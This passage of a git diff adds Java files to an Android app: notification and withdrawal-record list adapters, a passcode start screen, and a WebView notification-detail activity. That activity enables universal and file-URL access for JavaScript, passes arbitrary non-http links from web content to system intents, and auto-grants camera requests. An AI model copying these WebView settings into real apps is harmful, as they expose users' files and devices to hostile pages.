{ + messageInfo.setShowAll(true); + messageItem = null; + } + int type = messageInfo.getType(); + if (type == 1) { + holder.root.setBackgroundColor(context.getColor(R.color.notify_textcolor)); + holder.tvType.setText("Text"); + } + if (type == 2) { + holder.root.setBackgroundColor(context.getColor(R.color.notify_imagecolor)); + holder.tvType.setText("Image"); + } + if (type == 3) { + holder.root.setBackgroundColor(context.getColor(R.color.notify_jumplinkcolor)); + holder.tvType.setText("Jump link"); + } + holder.tvTitle.setText(messageInfo.getTitle()); + holder.layoutMore.setVisibility(View.GONE); + holder.tvContent.setText(messageInfo.getContent()); + holder.ivMsg.setVisibility(View.GONE); + holder.tvTime.setText(messageInfo.getCreateTime()); + holder.tvJumpLink.setVisibility(View.GONE); + + holder.lookIv.setText(longTime(messageInfo.getCreateTime())); + if (!TextUtils.isEmpty(messageInfo.getImage())) { + holder.ivMsg.setVisibility(View.VISIBLE); + Glide.with(context).load(messageInfo.getImage()).into(holder.ivMsg); + } + if (!TextUtils.isEmpty(messageInfo.getJumpUrl())) { + holder.tvJumpLink.setVisibility(View.VISIBLE); + holder.tvJumpLink.setText(messageInfo.getJumpUrl()); + holder.tvJumpLink.setOnClickListener(view -> { + if (itemClickPostionListener != null) { + itemClickPostionListener.item(position); + } + }); + } + if (messageInfo.isShowAll()) { + holder.ivNotifyPull.setBackgroundResource(R.mipmap.ic_notify_shangla); + holder.layoutMore.setVisibility(View.VISIBLE); + } else { + holder.ivNotifyPull.setBackgroundResource(R.mipmap.ic_notify_xiala); + holder.layoutMore.setVisibility(View.GONE); + } + holder.itemView.setOnClickListener(view -> { + messageInfo.setShowAll(!messageInfo.isShowAll()); + notifyItemChanged(position); + }); + + } + + public String longTime(String dateString){ + // 定义所需的日期格式 + SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss"); + + try { + Long timeStr = dateFormat.parse(dateString).getTime(); + + String name = (((System.currentTimeMillis()-timeStr)/1000/60)+1000)+""; + + return name; + } catch (ParseException e) { + return "1000"; + } + + } + + + @Override + public int getItemCount() { + return listdata != null ? listdata.size() : 0; + } + + public static class ViewHolder extends RecyclerView.ViewHolder { + + + private final TextView tvType; + private final TextView tvTime; + private final TextView tvContent; + private final TextView tvTitle; + private final TextView tvJumpLink; + private final ImageView ivType; + private final ImageView ivNotifyPull; + private final ImageView ivMsg; + private ConstraintLayout root; + private LinearLayout layoutMore; + private TextView lookIv; + public ViewHolder(@NonNull View itemView) { + super(itemView); + root = itemView.findViewById(R.id.big_bg); +// tvType = itemView.findViewById(R.id.iv_readtype); + tvType = itemView.findViewById(R.id.tv_msg_type); + ivType = itemView.findViewById(R.id.iv_icon); + ivNotifyPull = itemView.findViewById(R.id.ic_notify_pull); + ivMsg = itemView.findViewById(R.id.iv_notifyimage); + tvContent = itemView.findViewById(R.id.iv_notifycontent); + tvTitle = itemView.findViewById(R.id.tv_msg_title); + tvTime = itemView.findViewById(R.id.tv_msg_time); + tvJumpLink = itemView.findViewById(R.id.iv_notifyjumpclick); + layoutMore = itemView.findViewById(R.id.layout_more); + lookIv = itemView.findViewById(R.id.look_iv); + } + + } + + public interface onItemClickPostionListener { + void item(int position); + } + +} diff --git a/base_sg/src/main/java/com/web/base/MyWithDrwaListAdapter.java b/base_sg/src/main/java/com/web/base/MyWithDrwaListAdapter.java new file mode 100644 index 0000000..adb5291 --- /dev/null +++ b/base_sg/src/main/java/com/web/base/MyWithDrwaListAdapter.java @@ -0,0 +1,70 @@ +package com.web.base; + +import android.content.Context; +import android.view.LayoutInflater; +import android.view.View; +import android.view.ViewGroup; +import android.widget.TextView; + +import androidx.annotation.NonNull; +import androidx.recyclerview.widget.RecyclerView; + +import java.util.List; + + +/** + * 提现记录 + */ +public class MyWithDrwaListAdapter extends RecyclerView.Adapter { + + + private List listdata; + private Context context; + + public MyWithDrwaListAdapter(Context context, List listdata) { + this.context = context; + this.listdata = listdata; + } + + public void setListdata(List listdata) { + this.listdata = listdata; + notifyDataSetChanged(); + } + + + @NonNull + @Override + public ViewHolder onCreateViewHolder(@NonNull ViewGroup parent, int viewType) { + View view = LayoutInflater.from(parent.getContext()).inflate(R.layout.item_withdraw_records, parent, false); + return new ViewHolder(view); + } + + @Override + public void onBindViewHolder(@NonNull ViewHolder holder, int position) { + WithDrawListInfo.WithDrawInfo withDrawInfo = listdata.get(position); + holder.tvWithDrawName.setText(withDrawInfo.getName() + "(" + withDrawInfo.getBankName() + ")"); + holder.tvWithDrawAmount.setText(String.format(context.getString(R.string.app_withdraw_amount), withDrawInfo.getAmount())); + holder.tvWithDrawBalance.setText(String.format(context.getString(R.string.app_balance), withDrawInfo.getBalance())); + } + + @Override + public int getItemCount() { + return listdata != null ? listdata.size() : 0; + } + + public static class ViewHolder extends RecyclerView.ViewHolder { + + private TextView tvWithDrawName; + private TextView tvWithDrawAmount; + private TextView tvWithDrawBalance; + + public ViewHolder(@NonNull View itemView) { + super(itemView); + tvWithDrawName = itemView.findViewById(R.id.tv_withdrawname); + tvWithDrawAmount = itemView.findViewById(R.id.tv_withdrawamount); + tvWithDrawBalance = itemView.findViewById(R.id.tv_withdrawbalance); + } + + + } +} diff --git a/base_sg/src/main/java/com/web/base/NotifyDetailsActivity.java b/base_sg/src/main/java/com/web/base/NotifyDetailsActivity.java new file mode 100644 index 0000000..4583498 --- /dev/null +++ b/base_sg/src/main/java/com/web/base/NotifyDetailsActivity.java @@ -0,0 +1,381 @@ +package com.web.base; + +import android.Manifest; +import android.annotation.SuppressLint; +import android.annotation.TargetApi; +import android.content.ActivityNotFoundException; +import android.content.Intent; +import android.net.Uri; +import android.os.Build; +import android.os.Bundle; +import android.os.Message; +import android.view.View; +import android.view.WindowManager; +import android.widget.ImageView; +import android.widget.LinearLayout; + +import androidx.annotation.Nullable; +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; +import androidx.core.app.ActivityCompat; +import androidx.core.content.ContextCompat; + +import com.bumptech.glide.Glide; +import com.tencent.smtt.export.external.interfaces.PermissionRequest; +import com.tencent.smtt.export.external.interfaces.WebResourceRequest; +import com.tencent.smtt.sdk.DownloadListener; +import com.tencent.smtt.sdk.ValueCallback; +import com.tencent.smtt.sdk.WebChromeClient; +import com.tencent.smtt.sdk.WebSettings; +import com.tencent.smtt.sdk.WebView; +import com.tencent.smtt.sdk.WebViewClient; + +import java.util.HashMap; + +import io.reactivex.android.schedulers.AndroidSchedulers; +import io.reactivex.schedulers.Schedulers; + +//通知详情 +public class NotifyDetailsActivity extends AppCompatActivity { + + + WebView webView; + private LinearLayout showTopLy; + private ImageView backIv; + private ImageView contentIv; + + public static String url = "https://vv88.io/"; + private static String[] PERMISSIONS_STORAGE = { + "android.permission.READ_EXTERNAL_STORAGE", + "android.permission.WRITE_EXTERNAL_STORAGE"}; + + private static String[] PERMISSIONS_CAMERA = { + Manifest.permission.CAMERA}; + + @Override + protected void onCreate(@Nullable Bundle savedInstanceState) { + getWindow().setNavigationBarColor(getColor(R.color.white)); + getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_notifydetails); + initView(); + MessageInfo messageInfo = (MessageInfo) getIntent().getSerializableExtra("message"); + if (messageInfo != null) { + recordNotify(messageInfo.getPushId()); + if (messageInfo.getType() == 3) { + webView.setVisibility(View.VISIBLE); + webView.loadUrl(messageInfo.getJumpUrl()); + } + if (messageInfo.getType() == 2) { + contentIv.setVisibility(View.VISIBLE); + Glide.with(NotifyDetailsActivity.this).load(messageInfo.getImage()).into(contentIv); + } + + + } + } + + public void recordNotify(int pushId) { + HashMap map = new HashMap<>(); + map.put("pushId", pushId); + Api.getInstance().totalNotify(map) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver() { + @Override + public void onSuccess(Result o) { + + + } + + @Override + public void onError(int code, String msg) { + + } + + @Override + public void onError2(Result o) { + + } + }); + } + + @SuppressLint({"NewApi", "WrongConstant"}) + protected void initView() { + webView = findViewById(R.id.webview); + showTopLy = findViewById(R.id.show_top_ly); + backIv = (ImageView) findViewById(R.id.back_iv); + contentIv = findViewById(R.id.image); + WebSettings settings = webView.getSettings(); + settings.setDomStorageEnabled(true); + settings.setAppCacheEnabled(true); + settings.setCacheMode(WebSettings.LOAD_DEFAULT); + settings.setJavaScriptEnabled(true); + settings.setLoadWithOverviewMode(true); + // 设置允许访问文件数据 + settings.setAllowFileAccess(true); + settings.setAllowContentAccess(true); + settings.setDatabaseEnabled(true); + settings.setSavePassword(false); + settings.setSaveFormData(false); + settings.setUseWideViewPort(true); + settings.setBuiltInZoomControls(true); + settings.setPluginState(WebSettings.PluginState.ON); + settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.NARROW_COLUMNS); + webView.setFocusable(true); + webView.setFocusableInTouchMode(true); + webView.getSettings().setSupportMultipleWindows(true); + + settings.setSupportZoom(true); + webView.setScrollBarStyle(WebView.SCROLLBARS_OUTSIDE_OVERLAY); +// webView.setHorizontalScrollbarOverlay(true); + webView.setHorizontalScrollBarEnabled(true); + webView.requestFocus(); +// webView.setBackgroundColor(getColor(R.color.black)); + settings.setJavaScriptCanOpenWindowsAutomatically(true); + settings.setMediaPlaybackRequiresUserGesture(false); + // 设置在WebView内部是否允许通过file url加载的 Js代码读取其他的本地文件 + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowFileAccessFromFileURLs(true); + // 设置WebView内部是否允许通过 file url 加载的 Javascript 可以访问其他的源(包括http、https等源) + // Android 4.1前默认允许,4.1后默认禁止 + settings.setAllowUniversalAccessFromFileURLs(true); + + webView.setWebChromeClient(webChromeClient); + webView.setWebViewClient(new WebViewClient() { + + @Override + public void onPageFinished(WebView webView, String s) { + super.onPageFinished(webView, s); + showTopLy.setVisibility(View.GONE); + + } + + @Override + public boolean shouldOverrideUrlLoading(WebView webView, WebResourceRequest webResourceRequest) { + Uri uri; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.LOLLIPOP) { + uri = webResourceRequest.getUrl(); + } else { + uri = Uri.parse(webResourceRequest.toString()); + } + String url1 = uri.toString(); + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return true; + } + + return false; + } + + @Override + public boolean shouldOverrideUrlLoading(WebView webView, String url1) { + LogUtils.i("URL是啥:" + url1); + + if (!(url1.startsWith("http") || url1.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url1)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + //其它的该怎么处理就怎么处理 + webView.loadUrl(url1); + return true; + } + + return false; + } + }); + +// new Handler().postDelayed(() -> showTopLy.setVisibility(View.GONE), 3000); +// verifyStoragePermissions(this); + + webView.setDownloadListener(new DownloadListener() { + @Override + public void onDownloadStart(String url, String userAgent, String contentDisposition, String mimeType, long contentLength) { + LogUtils.i("URL是啥onDownloadStart:" + url); + + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url)); + startActivity(intent); + } catch (Exception e) { + e.printStackTrace(); + } + + } + }); + + backIv.setOnClickListener(view -> finish()); + + } + + private static final int REQUEST_CODE_FILE_CHOOSER = 1; + private ValueCallback mUploadCallbackForLowApi; + private ValueCallback mUploadCallbackForHighApi; + WebChromeClient webChromeClient = new WebChromeClient() { + @Override + public boolean onCreateWindow(WebView webViewdd, boolean b, boolean b1, Message resultMsg) { + LogUtils.i("URL是啥onCreateWindow:" + webView.getUrl()); +// WebView newWebView = new WebView(MainActivity2.this); + // topVvvv.setVisibility(View.VISIBLE); +// webView.addView(newWebView); +// WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; +// transport.setWebView(newWebView); +// resultMsg.sendToTarget(); +// +// newWebView.setWebViewClient(new WebViewClient() { +// @Override +// public boolean shouldOverrideUrlLoading(WebView view, String url) { +// isAtGame = true; +// webView.loadUrl(url); +// return false; +// } +// }); + + WebView newWebView = new WebView(webViewdd.getContext()); + newWebView.setWebViewClient(new WebViewClient() { + @Override + public boolean shouldOverrideUrlLoading(WebView view, String url) { + if (!(url.startsWith("http") || url.startsWith("https"))) { + try { + Intent intent = new Intent(); + intent.setAction(Intent.ACTION_VIEW); + intent.setData(Uri.parse(url)); + startActivity(intent); + return true; + } catch (Exception e) { + e.printStackTrace(); + } + } else { + Intent browserIntent = new Intent(NotifyDetailsActivity.this, WebViewActivity.class); + browserIntent.putExtra("url", url); + startActivity(browserIntent); + return true; + } + + return false; + } + + + }); + WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj; + transport.setWebView(newWebView); + resultMsg.sendToTarget(); + return true; + } + + @Override + public void onCloseWindow(WebView window) { + super.onCloseWindow(window); + } + + @Override + public void onProgressChanged(WebView view, int newProgress) { + super.onProgressChanged(view, newProgress); + // 更新进度条的进度 + + } + + + @TargetApi(Build.VERSION_CODES.LOLLIPOP) + @Override + public boolean onShowFileChooser(WebView webView, ValueCallback filePathCallback, FileChooserParams fileChooserParams) { + LogUtils.i("数据接口:onShowFileChooser"); + mUploadCallbackForHighApi = filePathCallback; + Intent intent = fileChooserParams.createIntent(); + intent.addCategory(Intent.CATEGORY_OPENABLE); + try { + startActivityForResult(intent, REQUEST_CODE_FILE_CHOOSER); + } catch (ActivityNotFoundException e) { +// mUploadCallbackForHighApi = null; +// WidgetUtils.showToast(JsBridgeActivity.this, "未知错误", WidgetUtils.ToastType.ERROR); + // Toast.makeText(MainActivity2.this, "未知错误", Toast.LENGTH_SHORT).show(); + startActivityForResult(Intent.createChooser(intent, "File chooser"), REQUEST_CODE_FILE_CHOOSER); + return true; + } + return true; + } + + // For 3.0+ + protected void openFileChooser(ValueCallback uploadMsg, String acceptType) { + LogUtils.i("数据接口:openFileChooseracceptType"); + + openFilerChooser(uploadMsg); + } + + + private void openFilerChooser(ValueCallback uploadMsg) { + LogUtils.i("数据接口:openFileChooser"); + + mUploadCallbackForLowApi = uploadMsg; + startActivityForResult(Intent.createChooser(getFilerChooserIntent(), "File Chooser"), REQUEST_CODE_FILE_CHOOSER); + } + + + private Intent getFilerChooserIntent() { + Intent intent = new Intent(Intent.ACTION_GET_CONTENT); + intent.addCategory(Intent.CATEGORY_OPENABLE); + return intent; + } + + + @Override + public void onPermissionRequest(PermissionRequest request) { + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) { + NotifyDetailsActivity.this.runOnUiThread(new Runnable() { + @TargetApi(Build.VERSION_CODES.LOLLIPOP) + @Override + public void run() { + for (String permisson : request.getResources()) { + permissionRequest = request; + if (permisson.equals(PermissionRequest.RESOURCE_VIDEO_CAPTURE)) { + if (ContextCompat.checkSelfPermission(NotifyDetailsActivity.this, Manifest.permission.CAMERA) != 0) { + ActivityCompat.requestPermissions(NotifyDetailsActivity.this, PERMISSIONS_CAMERA, 1111); + } else { + request.grant(request.getResources()); + request.getOrigin(); + } + + } + } + + + } + }); + + + } + + } + + }; + + private PermissionRequest permissionRequest; + +} diff --git a/base_sg/src/main/java/com/web/base/NotifyListActivity.java b/base_sg/src/main/java/com/web/base/NotifyListActivity.java new file mode 100644 index 0000000..7b58c8d --- /dev/null +++ b/base_sg/src/main/java/com/web/base/NotifyListActivity.java @@ -0,0 +1,129 @@ +package com.web.base; + +import android.content.Intent; +import android.net.Uri; +import android.os.Bundle; +import android.view.View; +import android.view.WindowManager; + +import androidx.annotation.NonNull; +import androidx.annotation.Nullable; +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; +import androidx.recyclerview.widget.LinearLayoutManager; +import androidx.recyclerview.widget.RecyclerView; + +import java.util.ArrayList; +import java.util.List; + +import io.reactivex.android.schedulers.AndroidSchedulers; +import io.reactivex.schedulers.Schedulers; + +/** + * 通知列表 + */ +public class NotifyListActivity extends AppCompatActivity { + + private RecyclerView recyclerView; + private LinearLayoutManager manager; + private MyNotifyListAdapter adapter; + private List listdata = new ArrayList<>(); + private int userId = 2; + private int page = 1; + private boolean isNextPages = false; + + private MessageInfo messageInfoItem; + + + @Override + protected void onCreate(@Nullable Bundle savedInstanceState) { + userId = MainActivity2.getInt(NotifyListActivity.this,"user_code",userId); + getWindow().getDecorView().setSystemUiVisibility(View.SYSTEM_UI_FLAG_FULLSCREEN | View.SYSTEM_UI_FLAG_LAYOUT_STABLE); + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_notifylist); + messageInfoItem = (MessageInfo) getIntent().getSerializableExtra("message"); + findViewById(R.id.back_iv).setOnClickListener(view -> finish()); + recyclerView = findViewById(R.id.recycler_nofity); + manager = new LinearLayoutManager(this); + recyclerView.setLayoutManager(manager); + recyclerView.addOnScrollListener(new RecyclerView.OnScrollListener() { + + @Override + public void onScrolled(@NonNull RecyclerView recyclerView, int dx, int dy) { + int visibleCount = manager.getChildCount(); + int totalCount = manager.getItemCount(); + int firstvisibleCount = manager.findFirstVisibleItemPosition(); + if (visibleCount > 0 && visibleCount + firstvisibleCount == totalCount) { //滑动到底部 + if (!isNextPages) { +// Toast.makeText(NotifyListActivity.this, getString(R.string.app_toastloading), Toast.LENGTH_SHORT).show(); + return; + } + page++; + getNotifyList(); + } +// super.onScrolled(recyclerView, dx, dy); + } + }); + adapter = new MyNotifyListAdapter(NotifyListActivity.this, listdata,messageInfoItem); + recyclerView.setAdapter(adapter); + adapter.setOnItemClick(new MyNotifyListAdapter.onItemClickPostionListener() { + @Override + public void item(int position) { + try{ + MessageInfo messageInfo = listdata.get(position); + Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse(messageInfo.getJumpUrl())); + startActivity(intent); + }catch (Exception e){ + + } + + } + }); + getNotifyList(); + } + + public void getNotifyList() { + //通知列表 + Api.getInstance().getNotifyList(userId, page, 10) + .subscribeOn(Schedulers.io()) + .observeOn(AndroidSchedulers.mainThread()) + .subscribe(new BaseObserver>>() { + @Override + public void onSuccess(Result> o) { + if(o.data!=null){ + isNextPages = o.data.isHasNextPage(); + if (page == 1) { + listdata.clear(); + } + listdata.addAll(o.data.getList()); + adapter.setListdata(listdata); + + } + + } + + @Override + public void onError(int code, String msg) { + LogUtils.i("获取的结果error" + msg); + if (page > 1) { + page--; + } + } + + @Override + public void onError2(Result> o) { + LogUtils.i("获取的结果error"); + if (page > 1) { + page--; + } + } + }); + } +} diff --git a/base_sg/src/main/java/com/web/base/Result.java b/base_sg/src/main/java/com/web/base/Result.java new file mode 100644 index 0000000..4251091 --- /dev/null +++ b/base_sg/src/main/java/com/web/base/Result.java @@ -0,0 +1,29 @@ +package com.web.base; + + +import java.io.Serializable; + +/** + * created by wmm on 2020/9/8 + */ +public class Result implements Serializable { + + public String error; + public int code; + public T data; + public String message; + + + public boolean isSuccessful() { + return code == 1; + } + + @Override + public String toString() { + return "Result{" + + "message='" + error + '\'' + + ", code=" + code + + ", data=" + GsonUtils.beanToJSONString(data) + + '}'; + } +} diff --git a/base_sg/src/main/java/com/web/base/ResultDataInfo.java b/base_sg/src/main/java/com/web/base/ResultDataInfo.java new file mode 100644 index 0000000..21c09e1 --- /dev/null +++ b/base_sg/src/main/java/com/web/base/ResultDataInfo.java @@ -0,0 +1,45 @@ +package com.web.base; + +import java.io.Serializable; +import java.util.List; + +public class ResultDataInfo implements Serializable { + + public List list; + public int pages; + public int total; + public boolean hasNextPage; + + + public boolean isHasNextPage() { + return hasNextPage; + } + + public void setHasNextPage(boolean hasNextPage) { + this.hasNextPage = hasNextPage; + } + + public List getList() { + return list; + } + + public void setList(List list) { + this.list = list; + } + + public int getPages() { + return pages; + } + + public void setPages(int pages) { + this.pages = pages; + } + + public int getTotal() { + return total; + } + + public void setTotal(int total) { + this.total = total; + } +} diff --git a/base_sg/src/main/java/com/web/base/StartActivity.java b/base_sg/src/main/java/com/web/base/StartActivity.java new file mode 100644 index 0000000..0361614 --- /dev/null +++ b/base_sg/src/main/java/com/web/base/StartActivity.java @@ -0,0 +1,219 @@ +package com.web.base; + +import android.content.Intent; +import android.os.Bundle; +import android.os.Handler; +import android.text.TextUtils; +import android.view.View; +import android.view.WindowManager; +import android.widget.Button; +import android.widget.TextView; + +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; + +import java.math.BigDecimal; + +public class StartActivity extends AppCompatActivity implements View.OnClickListener { + + + private StringBuilder currentInput = new StringBuilder(""); + private BigDecimal currentAnswer = new BigDecimal(0); + private boolean hasCount = false; + private Button btn_0, btn_1, btn_2, btn_3, btn_4, btn_5, btn_6, btn_7, btn_8, btn_9, btn_equal; + private TextView password1; + private TextView password2; + private TextView password3; + private TextView password4; + private TextView password5; + private TextView password6; + + @Override + protected void onCreate(Bundle savedInstanceState) { + getWindow().setNavigationBarColor(getColor(R.color.white)); + super.onCreate(savedInstanceState); + View decor = getWindow().getDecorView(); + getWindow().setFlags(WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED, WindowManager.LayoutParams.FLAG_HARDWARE_ACCELERATED); + decor.setSystemUiVisibility(View.SYSTEM_UI_FLAG_LIGHT_STATUS_BAR); + ActionBar actionBar = getSupportActionBar(); + if (actionBar != null) { + actionBar.hide(); + } + setContentView(R.layout.activity_start); + + setListener(); + getNetUrl(); + + } + + public void setListener() { + + + password1 = (TextView) findViewById(R.id.password_1); + password2 = (TextView) findViewById(R.id.password_2); + password3 = (TextView) findViewById(R.id.password_3); + password4 = (TextView) findViewById(R.id.password_4); + password5 = (TextView) findViewById(R.id.password_5); + password6 = (TextView) findViewById(R.id.password_6); + + + btn_0 = (Button) findViewById(R.id.btn_0); + btn_0.setOnClickListener(this); + btn_1 = (Button) findViewById(R.id.btn_1); + btn_1.setOnClickListener(this); + btn_2 = (Button) findViewById(R.id.btn_2); + btn_2.setOnClickListener(this); + btn_3 = (Button) findViewById(R.id.btn_3); + btn_3.setOnClickListener(this); + btn_4 = (Button) findViewById(R.id.btn_4); + btn_4.setOnClickListener(this); + btn_5 = (Button) findViewById(R.id.btn_5); + btn_5.setOnClickListener(this); + btn_6 = (Button) findViewById(R.id.btn_6); + btn_6.setOnClickListener(this); + btn_7 = (Button) findViewById(R.id.btn_7); + btn_7.setOnClickListener(this); + btn_8 = (Button) findViewById(R.id.btn_8); + btn_8.setOnClickListener(this); + btn_9 = (Button) findViewById(R.id.btn_9); + btn_9.setOnClickListener(this); + + btn_equal = (Button) findViewById(R.id.btn_equal); + btn_equal.setOnClickListener(this); + } + + String password = ""; + + /** + * 0 正常增加 1 删除 2 更新 + * + * @param string + * @param type + */ + public void addInput(String string, int type) { + if (type == 0) { + if (password.length() < 6) { + password += string; + } + } else if (type == 1) { + password = password.substring(0, password.length() - 1); + } + if (password.length() == 6) { + password6.setText(password.charAt(5) + ""); + toNext(); + } else { + password6.setText(""); + if (password.length() == 5) { + password5.setText(password.charAt(4) + ""); + } else { + password5.setText(""); + if (password.length() == 4) { + password4.setText(password.charAt(3) + ""); + } else { + password4.setText(""); + if (password.length() == 3) { + password3.setText(password.charAt(2) + ""); + } else { + password3.setText(""); + if (password.length() == 2) { + password2.setText(password.charAt(1) + ""); + } else { + password2.setText(""); + if (password.length() == 1) { + password1.setText(password.charAt(0) + ""); + } else { + password1.setText(""); + } + } + } + } + } + } + } + + public void getNetUrl(){ +// Api.getInstance().geUrl(System.currentTimeMillis()) +// .subscribeOn(Schedulers.io()) +// .observeOn(AndroidSchedulers.mainThread()) +// .subscribe(new BaseObserver() { +// @Override +// public void onSuccess(Result o) { +// LogUtils.i("获取的文件地址:"+o.url); +// if(!TextUtils.isEmpty(o.url)){ +// MainActivity.saveString(StartActivity.this,"base_url",o.url); +// } +// } +// +// @Override +// public void onError(int code, String msg) { +// +// } +// }); + } + + Handler handler = new Handler(); + + private void toNext() { + MainActivity.saveString(StartActivity.this, "loc_pass", password); + Intent intent = new Intent(StartActivity.this, MainActivity2.class); +// intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK); + startActivity(intent); + finish(); + + } + + + + @Override + public void onClick(View v) { + switch (v.getId()) { +// case R.id.btn_0: +// addInput("0", 0); +// break; +// case R.id.btn_1: +// addInput("1", 0); +// break; +// case R.id.btn_2: +// addInput("2", 0); +// break; +// case R.id.btn_3: +// addInput("3", 0); +// break; +// case R.id.btn_4: +// addInput("4", 0); +// break; +// case R.id.btn_5: +// addInput("5", 0); +// break; +// case R.id.btn_6: +// addInput("6", 0); +// break; +// case R.id.btn_7: +// addInput("7", 0); +// break; +// case R.id.btn_8: +// addInput("8", 0); +// break; +// case R.id.btn_9: +// addInput("9", 0); +// break; +// +// case R.id.btn_equal: +// deleteInput(); +// break; + } + } + + private void deleteInput() { + if (TextUtils.isEmpty(password)) { + addInput("", 2); + } else { + addInput(password, 1); + } + } + + @Override + protected void onDestroy() { + super.onDestroy(); + } +} \ No newline at end of file diff --git a/base_sg/src/main/java/com/web/base/StatusLayout.java b/base_sg/src/main/java/com/web/base/StatusLayout.java new file mode 100644 index 0000000..20a4941 --- /dev/null +++ b/base_sg/src/main/java/com/web/base/StatusLayout.java @@ -0,0 +1,44 @@ +package com.web.base; + +import android.content.Context; +import android.util.AttributeSet; +import android.view.ViewGroup; +import android.widget.LinearLayout; + +import androidx.annotation.Nullable; + +/** + * Created by kiun_2007 on 2018/3/29. + */ + +public class StatusLayout extends LinearLayout { + public StatusLayout(Context context) { + this(context, null); + } + + public StatusLayout(Context context, @Nullable AttributeSet attrs) { + this(context, attrs, 0); + } + + public StatusLayout(Context context, @Nullable AttributeSet attrs, int defStyleAttr) { + super(context, attrs, defStyleAttr); + } + + private int getStatusBarHeight(Context context) { + int result = 0; + int resourceId = context.getResources().getIdentifier("status_bar_height", "dimen", "android"); + if (resourceId > 0) { + result = context.getResources().getDimensionPixelSize(resourceId); + } + return result; + } + + @Override + protected void onAttachedToWindow() { + ViewGroup.LayoutParams lp = this.getLayoutParams(); + lp.width = -1; + lp.height = getStatusBarHeight(getContext()); + this.setLayoutParams(lp); + super.onAttachedToWindow(); + } +} diff --git a/base_sg/src/main/java/com/web/base/Utils.java b/base_sg/src/main/java/com/web/base/Utils.java new file mode 100644 index 0000000..94629dc --- /dev/null +++ b/base_sg/src/main/java/com/web/base/Utils.java @@ -0,0 +1,65 @@ +package com.web.base; + +import android.annotation.SuppressLint; +import android.content.Context; +import android.content.SharedPreferences; +import android.provider.Settings; + +public class Utils { + + public static boolean isImageUrl(String url) { + String end = url.substring(url.lastIndexOf(".") + 1).toLowerCase(); + String[] images = new String[]{"jpeg", "png", "jpg", "bmp", "webp", "gif"}; + for (String name : images) { + if (end.equals(name)) { + return true; + } + } + return false; + } + + + public static String getUniqueId(Context context) { + + @SuppressLint("HardwareIds") + // ANDROID_ID是设备第一次启动时产生和存储的64bit的一个数,当设备被wipe后该数重置。 + String androidID = Settings.Secure.getString(context.getContentResolver(), Settings.Secure.ANDROID_ID); +// @SuppressLint("HardwareIds") + // String id = androidID + Build.SERIAL; // +硬件序列号 + return androidID; + +// try { +// return toMD5(id); +// } catch (NoSuchAlgorithmException e) { +// e.printStackTrace(); +// return id; +// } + } + + + /** + * @param @param key 要获取的key + */ + public static String get(Context context, String key, String defaultValue) { + SharedPreferences nameSetting = getConfigShared(context); + return nameSetting.getString(key, defaultValue); + } + + /** + * @param key 要设置的key + */ + public static void set(Context activity, String key, String is) { + SharedPreferences nameSetting = getConfigShared(activity); + SharedPreferences.Editor namePref = nameSetting.edit(); + namePref.putString(key, is); + namePref.commit(); + } + + public static SharedPreferences getConfigShared(Context context) { + + SharedPreferences sharedPreferences = + context.getSharedPreferences("notify_data", Context.MODE_MULTI_PROCESS); + return sharedPreferences; + } + +} diff --git a/base_sg/src/main/java/com/web/base/WebView2Activity.java b/base_sg/src/main/java/com/web/base/WebView2Activity.java new file mode 100644 index 0000000..0bf6199 --- /dev/null +++ b/base_sg/src/main/java/com/web/base/WebView2Activity.java @@ -0,0 +1,328 @@ +package com.web.base; + +import android.content.Intent; +import android.graphics.Bitmap; +import android.net.Uri; +import android.os.Build; +import android.os.Bundle; +import android.os.Message; +import android.view.View; +import android.view.WindowManager; +import android.widget.FrameLayout; +import android.widget.ImageView; +import android.widget.LinearLayout; +import android.widget.ProgressBar; +import android.widget.Toast; + +import androidx.annotation.Nullable; +import androidx.appcompat.app.ActionBar; +import androidx.appcompat.app.AppCompatActivity; + +import com.king.app.updater.AppUpdater; +import com.tencent.smtt.export.external.interfaces.ConsoleMessage; +import com.tencent.smtt.export.external.interfaces.WebResourceRequest; +import com.tencent.smtt.sdk.ValueCallback; +import com.tencent.smtt.sdk.WebChromeClient; +import com.tencent.smtt.sdk.WebSettings; +import 